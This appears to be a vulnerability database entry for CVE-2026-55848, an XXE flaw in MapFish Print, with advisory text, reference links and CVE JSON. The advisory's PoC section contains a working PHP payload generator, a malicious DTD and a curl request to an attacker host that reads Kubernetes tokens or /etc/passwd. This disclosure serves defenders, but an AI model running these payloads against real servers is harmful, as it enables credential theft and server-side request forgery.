mapfish-print is a component of MapFish for printing templated cartographic maps. Prior to 3.28.30, 3.30.32, 3.31.24, 3.33.16, and 4.0.5, MapFish Print accepts an attacker-controlled GML layer url in requests to the /api/print3/print endpoint and fetches XML parsed by core/src/main/java/org/mapfish/print/map/geotools/GmlLayer.java without disabling external entities and external DTDs. A remote XML document and DTD can expand a local file entity, and the resulting content can be exposed through the GML parsing and error path. This allows unauthenticated attackers to read files such as operating-system account data, Kubernetes service-account tokens, and certificates. Replacing the file entity target with an internal HTTP endpoint also permits server-side request forgery. This issue is fixed in versions 3.28.30, 3.30.32, 3.31.24, 3.33.16, and 4.0.5.
mapfish-print: XXE on MapFish Print allows reading arbitrary files of certain types
Problem type
Affected products
mapfish
>= 3.0.0, < 3.28.30 - AFFECTED
>= 3.29.0, < 3.30.32 - AFFECTED
>= 3.31.0, < 3.31.24 - AFFECTED
>= 3.32.0, < 3.33.16 - AFFECTED
>= 4.0.0, < 4.0.5 - AFFECTED
>= 3.0.0, < 3.28.30 - AFFECTED
>= 3.29.0, < 3.30.32 - AFFECTED
>= 3.31.0, < 3.31.24 - AFFECTED
>= 3.32.0, < 3.33.16 - AFFECTED
>= 4.0.0, < 4.0.5 - AFFECTED
>= 3.0.0, < 3.28.30 - AFFECTED
>= 3.29.0, < 3.30.32 - AFFECTED
>= 3.31.0, < 3.31.24 - AFFECTED
>= 3.32.0, < 3.33.16 - AFFECTED
>= 4.0.0, < 4.0.5 - AFFECTED
References
https://github.com/mapfish/mapfish-print/security/advisories/GHSA-5v29-34h8-v68r
https://github.com/mapfish/mapfish-print/pull/4212
https://github.com/mapfish/mapfish-print/pull/4215
https://github.com/mapfish/mapfish-print/pull/4216
https://github.com/mapfish/mapfish-print/pull/4217
https://github.com/mapfish/mapfish-print/pull/4219
https://github.com/mapfish/mapfish-print/pull/4221
https://github.com/mapfish/mapfish-print/commit/13beae7a7f970fc3526c1f7ca5db817d8d51fbec
https://github.com/mapfish/mapfish-print/commit/23a96e7baa15077bdb0e5fc5a72b18da23af9121
https://github.com/mapfish/mapfish-print/commit/3525e8150fcb5f40095930ccf7aec0d8ce92bbcb
https://github.com/mapfish/mapfish-print/commit/56c47d3bf70d8428916dea8ed7005518ad07dc7d
https://github.com/mapfish/mapfish-print/commit/a55a24873db5f19b37abac7d59144dc86406c236
https://github.com/mapfish/mapfish-print/commit/d13911ac6e0509444d64e74830f10b14e4dcfdf1
https://github.com/mapfish/mapfish-print/releases/tag/3.28.30
https://github.com/mapfish/mapfish-print/releases/tag/3.30.32
https://github.com/mapfish/mapfish-print/releases/tag/3.31.24
https://github.com/mapfish/mapfish-print/releases/tag/4.0.5
GitHub Security Advisories
GHSA-5v29-34h8-v68r
MapFish Print has XXE that allows reading arbitrary files of certain types
https://github.com/advisories/GHSA-5v29-34h8-v68rSummary
XXE on MapFish Print allows reading arbitrary files of certain types. Eg /etc/passwd or k8 secrets and certs.
https://github.com/mapfish/mapfish-print/commit/13020c0fbc299e5f604e4e66066311c4bf04d507
Details
To trigger the XXE it is required to host a remote script and dtd file. When using the Print feature its possible to send the attacker server url as url of the gml layer.
The 404 not found path when using the gml Layer will expand the content of the file as path and throw a default 404 with the full content as path.
PoC
Host this php file somewhere as xxe.php:
<?php
$p=$_GET['p'];
$d=dirname($_SERVER['SCRIPT_NAME']);
$u=(empty($_SERVER['HTTPS'])?'http':'https')."://{$_SERVER['HTTP_HOST']}$d/evil.dtd";
header('Content-Type: application/xml');
echo "<?xml version=\"1.0\"?>
<!DOCTYPE x [
<!ENTITY % payload SYSTEM \"file://$p\">
<!ENTITY % dtd SYSTEM \"$u\">
%dtd;
]>
<wfs:FeatureCollection xmlns:wfs=\"http://www.opengis.net/wfs\" xmlns:gml=\"http://www.opengis.net/gml\">
<!-- ".str_repeat('x',200)." -->
<gml:boundedBy><gml:null>unknown</gml:null></gml:boundedBy>
</wfs:FeatureCollection>";
and beneath host this "evil.dtd"
<!ENTITY % exfil "<!ENTITY % error SYSTEM 'file:///xxe-exfil/%payload;'>"> %exfil; %error;
Now send a single curl request against your mapfish print server and include your hosted poc url as gml layer url with the path attached you would like to exfil. It will exfil /var/run/secrets/kubernetes.io/serviceaccount/token (most likely your local test setup wont have it, then just replace the path with /etc/passwd or similar plain files)
curl -sk 'https://mapfish/api/print3/print/mapviewer/buildreport.pdf' \ -H 'Content-Type: application/json' \ -d '{"layout":"1. A4 landscape","attributes":{"printDate":"a","url":"","copyright":"","qrimage":"","map":{"projection":"EPSG:2056","rotation":0,"dpi":96,"center":[2600000,1200000],"scale":100000,"layers":[{"type":"gml","url":"https://attacker.ch/xxe.php?p=/var/run/secrets/kubernetes.io/serviceaccount/token"}]}},"outputFormat":"pdf"}'
Its also noteworthy that when you use just a path with slash in the end /tmp/ for example - it will literally list the files and output this for you.
It is actually also possible to trigger an SSRF and request internal URLs if you'd change the file:// prefix in the dtd to https://
Impact
disclose local files. blind(ish) SSRF (depends on the servers response data)
https://github.com/mapfish/mapfish-print/security/advisories/GHSA-5v29-34h8-v68r
https://github.com/mapfish/mapfish-print/pull/4221
https://github.com/mapfish/mapfish-print/pull/4219
https://github.com/mapfish/mapfish-print/pull/4217
https://github.com/mapfish/mapfish-print/pull/4216
https://github.com/mapfish/mapfish-print/pull/4215
https://github.com/mapfish/mapfish-print/pull/4212
https://github.com/mapfish/mapfish-print/commit/d13911ac6e0509444d64e74830f10b14e4dcfdf1
https://github.com/mapfish/mapfish-print/commit/a55a24873db5f19b37abac7d59144dc86406c236
https://github.com/mapfish/mapfish-print/commit/56c47d3bf70d8428916dea8ed7005518ad07dc7d
https://github.com/mapfish/mapfish-print/commit/3525e8150fcb5f40095930ccf7aec0d8ce92bbcb
https://github.com/mapfish/mapfish-print/commit/23a96e7baa15077bdb0e5fc5a72b18da23af9121
https://github.com/mapfish/mapfish-print/commit/13beae7a7f970fc3526c1f7ca5db817d8d51fbec
https://github.com/mapfish/mapfish-print/releases/tag/3.28.30
https://github.com/mapfish/mapfish-print/releases/tag/3.30.32
https://github.com/mapfish/mapfish-print/releases/tag/3.31.24
https://github.com/mapfish/mapfish-print/releases/tag/4.0.5
https://github.com/advisories/GHSA-5v29-34h8-v68r
JSON source
https://cveawg.mitre.org/api/cve/CVE-2026-55848Click to expand
{
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"dataVersion": "5.2",
"cveMetadata": {
"cveId": "CVE-2026-55848",
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"dateUpdated": "2026-08-28T22:31:26.705Z",
"dateReserved": "2026-06-17T16:44:40.994Z",
"datePublished": "2026-08-28T22:31:26.705Z",
"state": "PUBLISHED"
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"containers": {
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"dateUpdated": "2026-08-28T22:31:26.705Z"
},
"title": "mapfish-print: XXE on MapFish Print allows reading arbitrary files of certain types",
"descriptions": [
{
"lang": "en",
"value": "mapfish-print is a component of MapFish for printing templated cartographic maps. Prior to 3.28.30, 3.30.32, 3.31.24, 3.33.16, and 4.0.5, MapFish Print accepts an attacker-controlled GML layer url in requests to the /api/print3/print endpoint and fetches XML parsed by core/src/main/java/org/mapfish/print/map/geotools/GmlLayer.java without disabling external entities and external DTDs. A remote XML document and DTD can expand a local file entity, and the resulting content can be exposed through the GML parsing and error path. This allows unauthenticated attackers to read files such as operating-system account data, Kubernetes service-account tokens, and certificates. Replacing the file entity target with an internal HTTP endpoint also permits server-side request forgery. This issue is fixed in versions 3.28.30, 3.30.32, 3.31.24, 3.33.16, and 4.0.5."
}
],
"affected": [
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"status": "affected"
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{
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"status": "affected"
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{
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"status": "affected"
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{
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},
{
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{
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"status": "affected"
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{
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"status": "affected"
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{
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"problemTypes": [
{
"descriptions": [
{
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"description": "CWE-611: Improper Restriction of XML External Entity Reference",
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"type": "CWE"
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}
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"references": [
{
"url": "https://github.com/mapfish/mapfish-print/security/advisories/GHSA-5v29-34h8-v68r",
"name": "https://github.com/mapfish/mapfish-print/security/advisories/GHSA-5v29-34h8-v68r",
"tags": [
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{
"url": "https://github.com/mapfish/mapfish-print/pull/4212",
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{
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"name": "https://github.com/mapfish/mapfish-print/pull/4215",
"tags": [
"x_refsource_MISC"
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},
{
"url": "https://github.com/mapfish/mapfish-print/pull/4216",
"name": "https://github.com/mapfish/mapfish-print/pull/4216",
"tags": [
"x_refsource_MISC"
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},
{
"url": "https://github.com/mapfish/mapfish-print/pull/4217",
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"tags": [
"x_refsource_MISC"
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},
{
"url": "https://github.com/mapfish/mapfish-print/pull/4219",
"name": "https://github.com/mapfish/mapfish-print/pull/4219",
"tags": [
"x_refsource_MISC"
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},
{
"url": "https://github.com/mapfish/mapfish-print/pull/4221",
"name": "https://github.com/mapfish/mapfish-print/pull/4221",
"tags": [
"x_refsource_MISC"
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},
{
"url": "https://github.com/mapfish/mapfish-print/commit/13beae7a7f970fc3526c1f7ca5db817d8d51fbec",
"name": "https://github.com/mapfish/mapfish-print/commit/13beae7a7f970fc3526c1f7ca5db817d8d51fbec",
"tags": [
"x_refsource_MISC"
]
},
{
"url": "https://github.com/mapfish/mapfish-print/commit/23a96e7baa15077bdb0e5fc5a72b18da23af9121",
"name": "https://github.com/mapfish/mapfish-print/commit/23a96e7baa15077bdb0e5fc5a72b18da23af9121",
"tags": [
"x_refsource_MISC"
]
},
{
"url": "https://github.com/mapfish/mapfish-print/commit/3525e8150fcb5f40095930ccf7aec0d8ce92bbcb",
"name": "https://github.com/mapfish/mapfish-print/commit/3525e8150fcb5f40095930ccf7aec0d8ce92bbcb",
"tags": [
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},
{
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"tags": [
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},
{
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"name": "https://github.com/mapfish/mapfish-print/commit/a55a24873db5f19b37abac7d59144dc86406c236",
"tags": [
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{
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"name": "https://github.com/mapfish/mapfish-print/commit/d13911ac6e0509444d64e74830f10b14e4dcfdf1",
"tags": [
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},
{
"url": "https://github.com/mapfish/mapfish-print/releases/tag/3.28.30",
"name": "https://github.com/mapfish/mapfish-print/releases/tag/3.28.30",
"tags": [
"x_refsource_MISC"
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},
{
"url": "https://github.com/mapfish/mapfish-print/releases/tag/3.30.32",
"name": "https://github.com/mapfish/mapfish-print/releases/tag/3.30.32",
"tags": [
"x_refsource_MISC"
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},
{
"url": "https://github.com/mapfish/mapfish-print/releases/tag/3.31.24",
"name": "https://github.com/mapfish/mapfish-print/releases/tag/3.31.24",
"tags": [
"x_refsource_MISC"
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},
{
"url": "https://github.com/mapfish/mapfish-print/releases/tag/4.0.5",
"name": "https://github.com/mapfish/mapfish-print/releases/tag/4.0.5",
"tags": [
"x_refsource_MISC"
]
}
],
"metrics": [
{
"cvssV3_1": {
"version": "3.1",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"attackVector": "NETWORK",
"attackComplexity": "LOW",
"privilegesRequired": "NONE",
"userInteraction": "NONE",
"scope": "CHANGED",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"availabilityImpact": "NONE",
"baseScore": 8.6,
"baseSeverity": "HIGH"
}
}
]
}
}
}